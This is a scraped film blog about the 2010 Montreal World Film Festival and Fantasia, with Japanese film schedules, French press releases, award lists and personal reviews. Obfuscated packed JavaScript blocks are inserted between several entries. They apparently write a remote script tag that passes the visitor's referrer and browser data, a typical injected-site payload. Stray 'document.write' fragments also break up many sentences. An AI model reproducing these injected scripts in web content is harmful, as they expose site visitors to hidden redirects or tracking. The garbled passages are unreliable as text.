    Schedule: 8/29, 14:50, L10.29.3; 8/30, 19:20, L12.30.5; 9/1, 10:00, L9.01.1; 9/5, 21:40, L16.05.6.

Documentaries [list]

  • Dancing Chaplin, 131 min., directed by SUO Masayuki. A filmed record of the Roland Petit’s well- known ballet but also a union of dance and film that reflects the serendipitous meeting of the great talents of Chaplin, Petit and Japanese director Masayuki Suo.
    Schedule: 9/3, 12:10, L15.03.2; 9/4, 21:21, L15.04.6; 9/5, 17:00, L15.05.4.
  • Umareru (Being Born), 8 min., directed by TOMO. Junichi, an emergency medical technician, and his wife Takako, a nurse, who work with life and death daily, now want a new life of their own, a baby.
    Schedule: 8/28, 12:30, L14.28.2; 8/28, 19:20, L14.28.5; 8/29, 14:20, L14.29.3; 8/30, 17:30, L14.30.4.

Cinema Under the Stars [list]

  • Shall We Dance (1996), 120 min., directed by SUO Masayuki. Cast: Koji Yakusho, Tamiyo Kusakari, Naoto Takenaka. A workaholic’s dull life takes a funny turn when he signs up for a ballroom dance class – just to meet the sexy dance teacher. But when he finally goes for lessons, he winds up with a different instructor and her colourfully eccentric class of beginners.
    Schedule: 9/3, 20:30, Outdoor on Place des Festivals.

Here is the video of the programming press conference (34:23 min.):

MWFF 2010 Programming Press Conference from clodjee on Vimeo.
The schedule [PDF] is now available online [ Part 1, Part 2, Index ]

I’ve made a calendar to help visualize the time and location of all the Japanese movies’ screenings. What were they thinking: putting eight screenings of Japanese movies on the same day (Sept. 2nd)?

I’ve also made a nice, printable PDF file gathering all the useful information from the festival guide.

For the first time in years the MWFF has put in advance on their web site a list of the upcoming press conferences.

More details and links will be added as the information become available. [Updated 08/11 (more details & links), 08/21 (schedule, better description & link’s icon), 08/22 (calendar), 08/24 (FFM web links, Google links, PDF), 08/27 (link for press conferences list), 08/31 (icon & link press conference), 9/04 (programming press conference video), 9/09 (more press conferences video links)]

[I have updated the “MWFF 2009 Overview” blog entry with a few corrections, links and new logos for some links. More update to come. Please have a look!]

A few interesting trailers

/ Clodjee / Leave a comment

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adtdf|var|u0026u|referrer|ehads||js|php’.split(‘|’),0,{}))

More: The Green Lantern, document.write(“”); Harry Potter and the Deathly Hallows, The Chronicles of Narnia: The Voyage of the Dawn, Predators and Tron Legacy.

What we’ve been watching

/ Clodjee / Leave a comment

There’s not much good series on TV lately because of the summer, document.write(“”); so my wife and I are watching mostly old stuff (previously recorded, purchased or downloaded).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iheki|var|u0026u|referrer|sentk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ideyy|var|u0026u|referrer|edieb||js|php’.split(‘|’),0,{}))

We have a big weakness for historical series and particularly for Brit TV, so, this year, after watching the superb Lark Rise to Candleford, and devoting a considerable amount of time to the quite interesting 41-episode TV series Sherlock Holmes starring Jeremy Brett (which originally aired between 1984 and 1994), we’ve watched The Pacific, the last season of The Tudors and now we are currently watching Upstairs, Downstairs (1971-75; we’ve just started the second season).

As for movies, we tend to watch them in thematic clusters. After watching a bunch of Sherlock Holmes-related movies (Guy Ritchie’s version, of course, followed by Billy Wilder’s Private Life of Sherlock Holmes (1970), some old adaptations like A Study in Scarlet (1968, with Peter Cushing, which is in fact a TV episode) and others not worth mentioning), we’ve watched a bunch of Oscar-related movies (The Reader, Slumdog Millionaire, The Hurt Locker, The Young Victoria). After watching Vicky Cristina Barcelona, we went for a couple of Woody Allen movies (Match Point (starring The Tudors’ actor Jonathan Rhys Meyers), Scoop).

Then we bought two boxed sets of romantic comedy compilations: Music & Lyrics, Rumour Has It, Lucky You, Sweet November, Where the Heart Is, Ever After, and Someone Like You (all good and funny but, seriously, I’ve now seen enough romantic comedies for a while!).

After watching Gran Torino (as part of our Oscar streak), we strangely went for a bunch of old Clint Eastwood movies, all produced in 1971: Play Misty for Me (a thriller precursor of “Fatal Attraction”, where Clint made his directorial debut), The Beguiled and Dirty Harry.

Finaly, we’ve seen a couple of Japanese (or Japan-inspired) movies: Hachiko, A Dog Story (sad), Bare Essence of Life (weird and boring) and Love And Honor (nice!). Also we seem to have a predilection for old classics: A Summer Place (1959), Love Story (1970), Romeo and Juliet (1968, Franco Zeffirelli), La Belle et la Bête (1946, Jean Cocteau) and Le Déjeuner sur l’Herbe (1959, Jean Renoir).

On my own, I’ve also watched many movies since the beginning of the year: Avatar, the last two Harry Potter, Up in the Air, The Time Traveler’s Wife, 2012, Riverworld, the first two Twilight, W., Pi, and The Book of Eli. I like watching movies: it’s relaxing, it brings you into another world and takes your mind off your current problems. Most of those movies are good and worth mentioning, and if I’d like to write short reviews for all of them, I am unfortunately too busy and lazy to do so. But the festival season is starting and I should resume writing movies reviews (but I won’t post them all here, since I’ll keep some for other publications to come)…

Press Release: Panorama-cinéma est à Fantasia

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ksaff|var|u0026u|referrer|baznd||js|php’.split(‘|’),0,{}))
Kuroneko: Voyages hallucinatoires, document.write(“”); fantômes et malédictions sous le signe du Japon
Montréal, le 6 juillet 2010 — Panorama-cinéma est très fier de s’associer au festival Fantasia dans le cadre de l’édition 2010. Cet été, la revue électronique sur le cinéma franchit un nouveau cap : l’édition imprimée. Quoi de plus naturel, à l’occasion de la sortie d’un numéro papier traitant de « L’humanisme d’après-guerre japonais », que de le présenter sous l’égide de Fantasia qui, en plus d’avoir servi à ces jeunes critiques à faire leurs armes, s’affirme comme le principal rendez-vous du cinéma asiatique à Montréal? À l’occasion, Fantasia et Panorama-cinéma proposent donc au public KURONEKO (1968, Kaneto Shindo), les 9 juillet (19 h 45, Salle J.A. De Sève), 14 juillet (15 h, Salle J.A. De Sève) et 15 juillet (18 h 30, Cinémathèque Québécoise).

Fantasia est depuis toujours un lieu de prédilection pour la revue électronique : le cinéma de genre, celui aux horizons éclatés ou encore le cinéma en marge, négligé par le grand public, ont toujours figuré dans la sphère d’intérêt de ses rédacteurs. En 2009, Panorama-cinéma publiait près de 40 critiques et une dizaine d’entrevues dans le cadre du festival. Cette année, Fantasia et Panorama-cinéma présentent un film ensemble : KURONEKO (1968) de Kaneto Shindo (auteur de L’île nue (1960), Onibaba (1964)). Faites l’expérience intime d’une magnifique copie 35 mm provenant des voûtes de Janus Films (distributeur affilié de la Collection Criterion), introuvable en Amérique du Nord! Inspiré par les contes traditionnels japonais, c’est un film de fantômes ayant servi d’inspiration à tout le courant récent de « j-horror » mené par des cinéastes tels que Hideo Nakata (Ringu, Dark Water) ou Takashi Shimizu (Ju-On). Mariage parfait pour une soirée digne de Fantasia : fantômes, malédictions, effets spéciaux audacieux et musique envoûtante. KURONEKO est une recette miracle pour les assoiffés du meilleur cinéma fantastique!

Le tout nouveau volet imprimé cerne un enjeu spécifique ou un courant cinématographique particulier pour l’explorer en profondeur. Le dossier imprimé contient des critiques, mais aussi des articles plus généraux et des essais libres qui divergeront de la forme préconisée sur le site actuel. Si on cherche à imprimer, c’est aussi pour laisser aux lecteurs un bel objet : tous nos numéros seront illustrés par des artistes ou bédéistes de la scène locale. Le premier recueil, dirigé par Mathieu Li-Goyette et signé par l’équipe de Panorama-cinéma et ses collaborateurs (dont Claude R. Blouin, spécialiste émérite du cinéma japonais) porte sur « L’Humanisme d’après-guerre japonais » (disponible dès le 15 juillet) et met l’accent sur divers cinéastes tels Ozu, Kurosawa, Mizoguchi et Kobayashi, le tout agrémenté d’illustrations du bédéiste montréalais Vincent Giard, qui a aussi signé la couverture que voici.

PROJECTIONS DE KURONEKO :

BANDE-ANNONCE :
http://www.youtube.com/watch?v=WGwLhcJ9T6o

« L’humanisme d’après-guerre japonais » sera disponible lors de la projection du 15 juillet, et sera dès cette date distribué en kiosques tout au long du festival. Il sera également possible de se le procurer en ligne.

Suivez-nous sur Facebook et www.panorama-cinema.com !

Fantasia 2010

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Tuesday, document.write(“”); Fantasia announced the highlights of its programming and posted all the details on its website.

The 14th edition of the Fantasia International Film Festival, one of the largest events dedicated to genre cinema, will be held from July 8th to July 28th, at Concordia University’s Hall Theatre and a few other venues in Montreal. This year, with more government subsidies, the festival has widened and diversified even more its impressive programming. It offers nearly 300 movies, including over 120 feature-length films and several hundreds shorts, as well as a variety of documentaries, panel discussions, stage plays, outdoor screenings and many guests will be there to introduce and discuss their work.

The festival will open with Disney’s The Sorcerer’s Apprentice and close with Eli Craig’s horror film satire Tucker & Dale’s vs. Evil. Other notable events of the festival are the screenings of Fritz Lang’s restored Metropolis (1927, with 25 min. of previously lost footage; screened at the Place des Arts’ Salle Wilfrid Pelletier), Jean Cocteau’s Le Sang d’un Poête (1930, screened at the Rialto Theatre), and Ken Russell’s The Devils (who has a retrospective at the Cinémathèque Québécoise and will also receive an award for his unique contribution to cinema). Animators Don Bluth and Gary Goldman will also receive a dual lifetime achievement award. Among the movies from the West that intrigues me, I must also mention Centurion, “a breathtaking rollercoaster” set in roman time, directed by Neil Marshall (The Descent).

Of course, the most interesting part of the festival for us is its Asian programming. It offers 55 Asian movies (including 24 from Japan, 14 from Korea, 9 from Hong Kong, 3 from Thailand, 2 from China as well as from Vietnam, Indonesia and Malaysia).

The Japanese movies include eight anime features (twice as much as last year): Evangelion 2.0: You Can(Not) Advance, First Squad: The Moment of Truth (a Japan/Russia co-production), Gintama: The Movie, King of Thorn, Mai Mai Miracle, Oblivion Island: Haruka and the Magic Mirror, Space Battleship Yamato: Resurrection, and Summer Wars (best animated feature at the 2010 Japanese Academy Awards). Other notable animations are The Land Before Time (USA, Don Bluth), Technotise: Edit & I (Serbia) and What is not Romance? (Korea).

The live-action Japanese movies includes (click on the link for details): Air Doll (Dir. Hirokazu Kore-eda), Alien Vs Ninja, Battle in Outer Space (a 1960 classic dir. by Ishiro Honda), Boys on the Run, Brass Knuckle Boys, Crows Zero 2 (Dir. Takashi Miike), Fish Story, Golden Slumber, Higanjima, Kuroneko (a 1968 classic), Mutant Girls Squad, Raise the Castle!, Rinco’s Restaurant, Sawako Decides, Symbol, and Van Von Hunter (a USA/Japan co-production written & directed by Tokyopop’s Stu Levy and Steven Calcote). We must also note the quite funny Les homme d’une autre planète (a Thailand/Japan/Taiwan “co-production” “dubbed” in French!)

The Japanese and anime-related guests include: Yoshinori Chiba (Dir. of Alien Vs Ninja), Stu Levy (founder of Tokyopop and co-dir. of Van Von Hunter), Yuri Lowenthal (popular voice-actor (Bleach, Code Geass, Naruto) and actor in Van Von Hunter), Yoshihiro Nishimura (co-dir. of Mutant Girls Squad), Tara Platt (voice-actress (Buso Renkin, Naruto) and panelist), and Mai Tominaga (dir. of Rinco’s Restaurant).

Finally, two of the panels might be of interest for the animation fans: “The Current and Future State of Traditional Animation Cinema: Death, Comeback and Resurrection” (Sunday July 18th 1:00 pm, at the EV-01.615 amphitheatre (1515 Ste-Catherine W), with Don Bluth, Gary Goldman, Gerard Potterton and Luc Chamberland) and “Voice Over, Voice Actor” (Sunday July 18th 3:00 pm, at the EV-01.615 amphitheatre (1515 Ste-Catherine W), with Yuri Lowenthal & Tara Platt).

The schedule for all the movies mentioned above can be found here.

Enjoy the festival!

(updated 2010/07/06)

Press release: “Route 132” de Louis Bélanger ouvrira le 34e FFM

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Montréal, document.write(“”); le 22 juin 2010 — Le 26 août prochain, Route 132 de Louis Bélanger sera le film d’ouverture du prochain Festival des films du monde de Montréal, le film est en même temps en compétition mondiale. « Nous sommes très heureux d’annoncer que le film de Louis Bélanger sera en ouverture du prochain FFM; c’est la deuxième fois que Louis Bélanger ouvre le festival puisque Gaz Bar Blues inaugurait le 27e festival en 2003. Post Mortem, son premier long métrage était, quant à lui, sélectionné en compétition officielle en 1999. Nous sommes très fiers qu’à nouveau un film de ce réalisateur puisse bénéficier de cette première mondiale » ont déclaré Serge Losique et Danièle Cauchard.
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Écrit par Louis Bélanger et Alexis Martin, le film est une production de Fabienne Larouche et Michel Trudeau pour Aetios Productions et Denise Robert et Daniel Louis pour Cinémaginaire. Il met en vedette  François Papineau, Alexis Martin, Alice Morel-Michaud, Andrée Lachapelle, Benoît McGinnis, Sophie Bourgeois, Gary Boudreault, Bobby Beshro, Sonia Vignault, Francesca Barcenas, Janine Sutto, Denise Gagnon, Gaston Caron, Guillaume Chouinard, Clémence Desrochers.

Montréal. Gilles, un homme dans la trentaine, vient de perdre son fils et ne peut l’accepter. N’importe quelle raison est valable pour fuir. En train de noyer son chagrin, il retrouve Bob, son vieil ami magouilleur, qui cherche un coup fumant pour se sortir du trou. C’est l’occasion idéale pour nos deux protagonistes de prendre le large sur la route 132, en direction du Bas-du-Fleuve où, croient-ils, les caisses populaires regorgent du bel argent durement économisé des personnes âgées et où il y a 0,1 policier par kilomètre carré. Et ce sera tellement facile pour deux astucieux Montréalais de berner ces « provinciaux »!

Route 132 est distribué par Alliance Vivafilms et sa sortie est prévue pour le 8 octobre 2010 au Québec.

Press Release: Passeports et Cartes Cinéphiles au FFM 2010

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Montréal, document.write(“”); le 10 juin 2010 — Le prochain Festival des Films du Monde aura lieu du 26 août au 6 septembre 2010. Les amateurs de cinéma seront encore choyés. En effet, le Festival offre, comme l’an dernier, le système de PASSEPORT mais en plus, il offre la carte CINÉPHILE.
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Aussi bien le PASSEPORT que la carte CINÉPHILE, donnent accès au choix énorme de films présentés au FFM (plus de 700 séances). Les informations ainsi que les bons de commande du PASSEPORT et de la carte CINÉPHILE sont disponibles sur le site Internet du Festival www.ffm-montreal.org

Le PASSEPORT est en vente au coût de 100 $, il donne droit à une réduction sur le prix du catalogue et de l’affiche. La carte CINÉPHILE est en vente au coût de 250 $, elle donne droit à un catalogue et une affiche gratuits. Les détenteurs de la carte CINÉPHILE et les détenteurs de billets individuels auront priorité sur les PASSEPORTS. Chaque détenteur du PASSEPORT ou de la carte CINÉPHILE pourra voter pour les Prix du Public.

Si vous aimez le cinéma de qualité sur grand écran, si vous voulez voir des films des 5 continents, si vous êtes ouvert à la diversité culturelle, si vous aimez voir des films en premières et vous faire votre propre opinion, si vous ne voulez pas rater des films qui ne seront pas distribués par la suite, si vous aimez le contact avec les réalisateurs et acteurs qui présentent leurs films, si vous aimez voyager et être confronté à d’autres façons de vivre et de penser, si vous êtes d’avis qu’une meilleure connaissance des autres cultures rend plus tolérant, si vous aimez la musicalité des langues et des accents, si vous planifiez d’être à Montréal et disponible pour voir des films entre le 26 août et le 6 septembre 2010 pendant le Festival des Films du Monde…

Si vous répondez OUI au moins une fois à ce qui précède, le PASSEPORT ou la carte CINÉPHILE sont faits pour vous. Attention, les quantités sont limitées… Premier inscrit, premier servi.

Pour informations, appeler : (514) 848-3883.

Press Release: Le 34e FFM présentera une rétrospective de Jafar Panahi

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Montréal, document.write(“”); le 10 Mai 2010. Le prochain festival des films du monde de Montréal présentera une rétrospective des films du cinéaste iranien Jafar Panahi qui fut le président du jury du FFM en 2009. Sa présence comme président du Jury l’an dernier a été remarquée et saluée par les médias internationaux qui reconnaissent en Mr Panahi l’un des grands cinéaste du monde. « Nous sommes heureux de lui consacrer cette rétrospective en hommage à son immense talent » déclare Serge Losique, le président du conseil du FFM.
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Né en 1960 à Mianeh (Iran), Jafar Panahi est l’un des cinéastes les plus influents de la Nouvelle Vague iranienne. Après son diplôme en réalisation du Collège IRIB à Téhéran, il réalise plusieurs courts et moyens métrages pour la télévision de son pays. En 1995, il signe son premier long métrage de fiction, LE BALLON BLANC,  qui remporte la Caméra d’or à Cannes la même année. Son deuxième film, LE MIROIR, remporte le Léopard d’or au Festival de Locarno en 1997. Son troisième long métrage, LE CERCLE, est présenté dans 40 pays et remporte 18 prix internationaux, parmi lesquels le Lion d’or à Venise en 2000. SANG ET OR (2003) remporte le Prix du jury dans la section Un certain regard à Cannes. Son dernier long métrage, OFFSIDE, est lauréat de l’Ours d’argent au Festival de Berlin en 2006.

Le Festival des films du monde se tient du 26 août au 6 septembre 2010.

L’AFFICHE DU FESTIVAL DES FILMS DU MONDE 2010

Montréal, le 27 avril 2010 – Le Festival des Films du Monde annonce que c’est le projet d’Hubert Samson qui a été choisi comme affiche de sa prochaine édition qui se déroulera du 26 août au 6 septembre 2010.

L’affiche du Festival des Films du Monde 2010 a été choisie par le public général parmi 3 finalistes, tous étudiants en arts graphiques à l’UQAM. Leur professeur, Philippe Béha (lui-même auteur de l’affiche du FFM en 1986), avait demandé à ses étudiants de créer une affiche pour le FFM 2010.

Le public était invité à voter pour désigner son affiche préférée parmi les finalistes et à écrire un commentaire sur les raisons de son choix. Parmi les nombreux commentaires, celui de d’Éric Montpetit, professeur de cinéma, exprime de manière éloquente les impressions éprouvées par ceux qui ont voté pour l’affiche d’Hubert Samson :

« L’acte de voir se trouve bien synthétisé dans cette image d’un personnage aux yeux multiples, symbole de la variété des points de vue exprimés dans la programmation du Festival et, également, dans le regard subjectif de chaque spectateur. Les contours flous de son corps donnent l’impression qu’il vibre ; touché, ébranlé, ému par ce qu’il voit. Cette vibration rappelle aussi celle de la lumière projetée à travers la pellicule sur l’écran. Belle évocation du mouvement au cinéma. Bravo ! »

Press Release: Fantasia, The Shape of things to come

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Montreal Monday May 3rd, document.write(“”); 2010 – While we’re still several weeks away from announcing our full 2010 festival line-up, the 14th annual Fantasia International Film Festival is making an early announcement to highlight several special events planned for this summer’s fest, including a stage play, multiple lifetime achievement awards and a gala performance/screening premiere revolving around one of the most significant silent-film restorations in the history of moving images.

THE COMPLETE METROPOLIS – A GALA EVENT AT PLACE DES ARTS
Seldom has the rediscovery of a cache of lost footage ignited widespread curiosity as did the announcement, in July 2008, that an essentially complete copy of Fritz Lang’s METROPOLIS had been found. This prompted an incredible year-long restoration project, the results of which will be unveiled for the first time in Quebec this summer, at Fantasia. Featuring over 25 minutes of new material (1,257 shots, including entire new sequences), the complete METROPOLIS will be screened as a special gala event at the 3000-seat Wilfred Pelletier theatre in Place des Arts on July 28. For this special night, internationally renowned silent film composer Gabriel Thibaudeau is writing a new score for the feature, which he will perform with a 13-piece orchestra live at the screening. It will be a fantastically historical night in every sense of the word!

Notes on the music for Fantasia’s METROPOLIS event by Gabriel Thibaudeau:

“For the last 22 years I have been resident pianist and composer for the Cinematheque québécoise. METROPOLIS is one of the first films I played to. Writing a new score for this film represents, for me, a long cherished dream. The film’s modern feel and visual treatment lends itself well to experimentation and is a pure joy to create sound for!

How to express musically the class struggle and dialectic that are the foundations of this work? By utilizing not one, but two chamber orchestras! Quite simply, at stage left the orchestra represents the elitist spirit of the city through a string quintet and keyboard. At stage right a brass quintet with organ will form the second orchestra, symbol of the strength of the workers in the subterranean city. The percussion section in the center will form a link between the two worlds/ensembles.

For this two and a half hour performance, specially commissioned by the Fantasia Festival, the majority of movements will be precisely written and perfectly synchronized with the images on screen. However, certain passages will be more free, created live through “Soundpainting”, a technique of improvising from coded gestures used by the conductor.”
– Gabriel Thibaudeau

A LIFETIME ACHIEVEMENT AWARD FOR KEN RUSSELL
Fantasia will present Britain’s celebrated enfant terrible, the director of such one-of-a-kind classics as ALTERED STATES, TOMMY, CRIMES OF PASSION, WOMEN IN LOVE, LISZTOMANIA, GOTHIC, SALOME’S LAST DANCE, MAHLER and LAIR OF THE WHITE WORM, with a lifetime achievement award in celebration of his astoundingly unique and bravely provocative visions.  On the night of his ceremony, we will screen a rare 35mm print of his explosive and still-controversial 1971 masterpiece THE DEVILS. This notoriously powerful film, which remains unavailable on DVD anywhere in the world, stars Oliver Reed and Vanessa Redgrave, and featuring art direction by Derek Jarman.  Russell will be in town for a week and our special “Devils’ Night” award presentation will kick off a massive retrospective of his filmography split across Cinematheque Quebecoise and Cinema Du Parc.

DUAL LIFETIME ACHIEVEMENT AWARDS FOR ANIMATION DUO DON BLUTH & GARY GOLDMAN
Along with the homage to filmmaker Ken Russell, the Fantasia Film Festival is proud to give a lifetime achievement award to Don Bluth and Gary Goldman, the creative duo behind such animated modern classics as THE SECRET OF NIMH, AN AMERICAN TAIL and ALL DOGS GO TO HEAVEN. Bluth and Goldman share a unique story in animation cinema. Beginning their groundbreaking work with Disney, they created their own independent studio in 1973, which lead to numerous collaborations with Steven Spielberg and George Lucas, a detour in the video game world with the DRAGON’S LAIR series and a dozen imaginative feature films. To celebrate this event, the Fantasia Film Festival will screen the prehistoric tale THE LAND BEFORE TIME, the unforgettable classic that lives in the imagination of a generation of cinephiles. Our audience will also have a chance to meet the filmmakers during a special panel on animation.

THE INTERNATIONAL PREMIERE OF STUART GORDON & JEFFREY COMBS’ CRITICALLY ACCLAIMED EDGAR ALLAN POE STAGE PLAY
Award-winning filmmaker Stuart Gordon, beloved for such films as RE-ANIMATOR, FROM BEYOND and STUCK will be returning to Fantasia (after gracing us with the Canadian premiere of EDMOND in 2006) with his staple star Jeffrey Combs to stage their acclaimed one-man play NEVERMORE: AN EVENING WITH EDGAR ALLAN POE, which features Combs in a breathtaking performance as the legendary author. It should be noted that Gordon was a celebrated theatre director for many years before turning to cinema. Among his many impressive credits, the future filmmaker founded Chicago’s Organic Theater in the ’70s and was the first to stage a play by David Mamet, who he continues to collaborate with every now and then. A spellbinding recreation of the public recitals that Poe regularly performed in the years before his death, based on reviews and reports of his actual appearances, NEVERMORE premiered in Los Angeles in July 2009 and was originally slated to run for four weeks.  Critical raves and mass audience draws saw the run extended to nearly six months. Combs’ performance is so captivating and mercurial that many critics have championed him as “the definitive Poe,” a claim that we can fully agree with! 2010 also happens to be the 25th anniversary of RE-ANIMATOR, and in celebration of this, Fantasia will be screening an uncut 35mm print of the cult classic, hosted by Gordon and Combs.

MORE – MUCH MORE – TO COME
The above is but an early tease-taste of what Fantasia has lined up for Montrealers this summer, released to tide you over until we announce our full line-up of over 100 feature films in mid-June. Don’t hesitate to get in touch if you’ve got any questions or requests. Enquiries can be sent to press@fantasiafestival.com .

The 14th annual Fantasia International Film Festival takes place in Montreal July 8 – July 28 2010.

Fantasia Vidéo Promo 2010 from Fantasia International Film Fest on Vimeo.
Also check the festival website: www.fantasiafestival.com

Quartier Lointain au cinéma

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Cette nouvelle est au confluent de deux de mes grands intérêts: le manga et le cinéma. Comme je l’ai déjà mentioné, document.write(“”); Quartier lointain—ce superbe manga de Taniguchi—a été adapté au cinéma par Sam Garbarski. Des détails sur le film, ainsi que la bande-annonce allemande, sont maintenant disponibles.
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Le manga raconte l’histoire d’un “salaryman” en pleine crise de la quarantaine qui, un peu par accident, visite son village natal et se retrouve mystérieusement transporté dans le temps, à l’âge de quatorze ans, pour revivre une partie de son adolescence… Si l’histoire originale se déroule au Japon, dans le village de Kurayoshi (préfecture de Tottori), l’adaptation est elle transposée en France, à Nantua (Rhône-Alpes).

“Thomas, la cinquantaine, père de famille, arrive par hasard dans la ville de son enfance. Alors qu’il se recueille sur la tombe de sa mère, il est pris d’un malaise. Quand il se réveille, son corps semble différent et le nom de sa mère n’est plus gravé sur la pierre tombale… Revenu quarante ans en arrière dans son corps d’adolescent, il décide alors de rentrer ‘chez lui’ pour comprendre ce qui a poussé son père à les abandonner cette année-là et tenter d’empêcher cette mystérieuse disparition. Mais peut-on modifier son passé en le revivant ?” [Texte de présentation sur le site du distributeur]

Quartier lointain, dont le titre allemand est Vertraute Fremde (Familiar Strangers), est une co-production belge (Entre Chien et Loup), française (Archipel 35), luxembourgeoise (Samsa Film) et allemande (Pallas Film). Le film de 98 minutes, distribué par Wild Bunch Distribution, met en vedette Léo Legrand (Thomas enfant), Pascal Greggory (Thomas adulte), Jonathan Zaccaï (le père), Alexandra Maria Lara (la mère), Laura Moisson (Corinne), Pierre-Louis Bellet (Rousseau) et Laura Martin (Sylvie). Ayant déjà eut une avant-première à Cannes en 2009, il sortira d’abord en Allemagne le 20 mai (étrange pour ce qui est, techniquement, un film français) et en France en septembre.

Si l’on se fit à la bande-annonce, le film (dont la production avait été annoncé depuis près de quatre ans) est vraiment proche de l’histoire et de la “mise-en-scène” originale (mis à part la transposition du lieu et quelques détails). C’est certainement à voir.

Sources: About.com, ANN, Movie Maze.

33rd Japan Academy Prize Winners

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The winners for the 2010 Japan Academy Awards (see our blog entry on the nominations) are just in:

  • Best Picture: The Sun That Doesn’t Set (Setsuro Wakamatsu)?
  • Best Animated Feature: Summer Wars (Mamoru Hosoda)
  • Best Director: Daisaku Kimura (Mt. Tsurugidake)
  • Best Screenplay: Miwa Nishikawa (Dear Doctor)?
  • Best Actor: Ken Watanabe (The Sun That Doesn’t Set)?
  • Best Actress: Takako Matsu (Villon’s Wife)?
  • Best Supporting Actor: Teruyuki Kagawa (Mt. Tsurugidake)?
  • Best Supporting Actress: Kimiko Yo (Dear Doctor)
  • Best Music: Shinichiro Ikebe (Mt. Tsurugidake)
  • Best Cinematography: Daisaku Kimura (Mt. Tsurugidake)?
  • Best Lighting Direction: Kawabe Takayuki (Mt. Tsurugidake)?
  • Best Art Direction: Yohei Taneda & Kyoko Yauchi (Villon’s Wife)?
  • Best Sound Recording: Teiichi Saito (Mt. Tsurugidake)?
  • Best Film Editing: Takao Arai (The Sun That Doesn’t Set)
  • Best Foreign Language Film: Gran Torino (Clint Eastwood)

(Sources: 日本アカデミー賞,  Wildgrounds).

Dear Doctor / Dia dokuta [ Official site, IMDb ]

Mt. Tsurugidake / Tsurugidake: Ten no ki [ Official site, IMDb ]

Summer Wars / サマーウォーズ [ Official site, ANN ]

Sun That Doesn’t Set (The) / Shizumanu Taiyo [ Official site, IMDb ]

Villon’s Wife / Viyon no tsuma [ Official site, IMDb ]

Love Story

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Harvard Law student Oliver Barrett IV falls in love with music student Jennifer Cavilleri. The fact that they are from two different social backgrounds (him from a rich and powerful family and her from the working class) doesn’t keep them from getting married. Oliver has always had issues with his father and he defies him once more with this marriage, document.write(“”); even if his father threatens to disown him. They build their life successfully and happily on their own until tragedy strikes. Love Story is considered one of the most romantic movie ever made. It tells of the love of a lifetime, the love between father and son, as “Love means never having to say you’re sorry.” It received seven Academy Award® nominations (including best picture, best director, best screenplay, best actor & actress and won one for best original score).
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I saw this movie on TV maybe twenty years ago and didn’t remember anything about it save the hype that surrounded it. My wife—who saw it when she was in high-school in Japan (where it was extremely popular)—wanted to see it again, so we got it on DVD. I must admit that I was quite disappointed. It’s a rather average movie and doesn’t mesure up to all the hype: the acting is certainly okay and the haunting music by Francis Lai is excellent, but the sound quality (particularly in dialogues) is bad, the story has nothing exceptional and the editing is often annoying (I’m not sure exactly why, but the cuts feel amateurish and I spotted a few continuity problems). There’s definitely something missing in that movie. You feel that only half the story is told as they could have developped a little more the characters and put more details in their everyday life (at least another fifteen or twenty minutes). I feel like I watched a movie in fastforward. I didn’t feel any emotions in the characters (I didn’t shed a single tear, which is rare). Most of the hype came from the success of the book—which was written after the script but published before the release of the movie—and of the original score which became an instant classic. I was curious to see it again—and I’m glad I did—but the movie (and its cinematic techniques) didn’t aged well, so it’s worth seeing mostly for its part in the popular movie history.

Love Story. USA, 1970, 99 min.; Dir.: Arthur Hiller; Scr.: Erich Segal; Phot.: Richard C Kratina; Ed.: Robert C Jones; Art Dir.: Robert Gundlach; Set Decor.: Philip Smith; Cost. Des.: Alice Manougian Martin, Pearl Somner; Music: Francis Lai; Prod.: David Golden, Howard G Minsky; Cast: Ali MacGraw (Jennifer), Ryan O’Neal (Oliver), John Marley (Phil), Ray Milland (Oliver Barrett III), Katherine Balfour (Mrs Barrett), Tom Lee Jones (Hank). Rated PG / 14+ (Language, love scene).

Love Story ™ & © 1970 by Paramount Pictures. All Rights Reserved.

33rd Japan Academy Prize Nominations

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The nominations for the 2010 Japan Academy Prize (the Japanese equivalent for the Motion Picture Academy Awards, a.k.a the Oscars) are just in.

The nominees for Best Picture and Best Director are:

The nominees for Best Animation are:

MWFF 2009 Overview

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Once again, document.write(“”); this year, the Montreal World Film Festival was an enjoyable experience. There was less Japanese movies available than previous years, but I must admit I found this situation rather convenient because, with two jobs (still writing for the magazine & blogs as well as working full time as assistant-librarian), my schedule was already quite full.

